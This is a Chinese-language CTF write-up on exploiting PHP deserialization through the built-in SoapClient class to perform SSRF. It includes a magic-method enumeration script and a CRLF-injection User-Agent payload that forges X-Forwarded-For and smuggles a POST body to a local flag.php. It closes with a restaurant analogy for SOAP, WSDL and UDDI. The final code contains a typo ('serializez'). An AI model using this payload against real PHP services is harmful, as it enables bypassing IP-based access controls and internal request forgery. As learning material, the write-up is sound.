利用SoapClient类进行SSRF

https://zhuanlan.zhihu.com/p/80918004

https://www.freebuf.com/articles/network/331981.html

1.拿到题目之后,发现需要传入一个反序列化的参数,并且调用一个不存在的 getFlag()方法,而我么们知道,调用一个不存在的公共方法,就会自动调用__call方法,因此我们应去联想哪些原生类有__call方法,贴一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

2.想到这道题的提示,很容易想到ssrf中的SoapClient类,并且它也存在__call方法!

在php手册上查询发现,这个方法可以调用远程soap方法!

026a20a84124471225829921876bc8f9

那现在思路就清晰了:我们需要利用SoapClient类构造一个post请求,让ip=127.0.0.1,携带token=’ctfshow’。

3.首先需要构造UA头,绕过127.0.0.1的限制

1
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"

“\r\n”是CRLF注入,代表着”回车换行”,而我们知道,请求头和请求体之间是存在换行的,因此Content-Length和token之间存在了两对”\r\n”。之所以要写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素 ,因此为了将$ip赋值给127.0.0.1,所以需要写两个127.0.0.1,Content-Type是发送请求体的长度,”token=ctfshow”,长度为13

4.查询手册,找到SoapClient类的构造方法所需要的参数:

1
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));

第一个参数为null,表示非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

第二个参数中,可以设置uri,location,user_agent等值。

uri:指定命名空间URI(Namespace URI)

location: 指定Web服务的URL地址

user_agent:指定HTTP请求的User-Agent头

5.整合以上数据,进行序列化,然后传参,访问flag.txt得到flag:

1
2
3
4
<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"http://127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serializez($client));

netcat-win32-1.12

拓展:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
soap是什么
1.soap是webserver的三要素之一(SOAP,WSDL,UDDI)
Web服务的三要素通常指的是:

SOAP (Simple Object Access Protocol):
SOAP是一种基于XML的协议,用于在Web服务中交换结构化数据。它定义了一种消息格式,使得不同的系统能够通过网络进行通信和数据交换。

WSDL (Web Services Description Language):
WSDL是一种用于描述Web服务的XML语言。它提供了Web服务的公共接口的详细描述,包括服务的可用操作、输入和输出参数、消息格式以及如何访问服务的网络地址等。

UDDI (Universal Description, Discovery, and Integration):
UDDI是一个用于Web服务的目录服务,它允许企业注册自己的Web服务,并且允许其他企业发现这些服务。UDDI提供了一种标准化的方式来发布、查找和集成Web服务。

这三个要素共同构成了Web服务的基础架构,使得Web服务能够跨不同平台和语言进行交互。SOAP定义了数据交换的格式,WSDL提供了服务描述的标准,而UDDI提供了服务注册和发现的机制。通过这些技术,Web服务可以被创建、发现和使用,从而实现不同系统之间的互操作性。

更容易理解的方式,我们可以将Web服务的三要素SOAP、WSDL和UDDI比作一个餐厅的服务系统:

SOAP(服务菜单):
想象一下,SOAP就像餐厅里的菜单。当你走进餐厅,服务员会给你一份菜单,上面详细列出了所有可供选择的菜肴以及它们的描述。同样,SOAP是Web服务用来告诉其他计算机系统,它能够提供哪些服务,以及这些服务需要什么信息来执行。

WSDL(服务介绍):
WSDL就像餐厅的介绍手册。当你想知道餐厅提供哪些类型的菜肴,或者你想了解如何点菜,这本手册会详细告诉你。在Web服务中,WSDL提供了服务的详细描述,包括服务能做什么,如何与服务交互,以及服务的地址等信息。

UDDI(餐厅目录):
UDDI可以比作是一本餐厅黄页,它列出了所有可用的餐厅以及它们提供的服务。如果你想找到提供特定菜肴的餐厅,你可以查阅这本黄页。在Web服务的世界里,UDDI允许人们查找和发现不同的Web服务,了解它们提供的功能,并找到如何访问这些服务的方法。

通过这个例子,我们可以将Web服务的三要素想象成在餐厅中点餐的过程:首先,你通过黄页(UDDI)找到你想尝试的餐厅;然后,你通过介绍手册(WSDL)了解餐厅提供的服务和如何点菜;最后,你使用菜单(SOAP)来实际下单,享受服务。这样,不同的计算机系统就像顾客一样,可以通过这些“要素”来发现和使用Web服务。

https://www.php.net/manual/en/extensions.alphabetical.php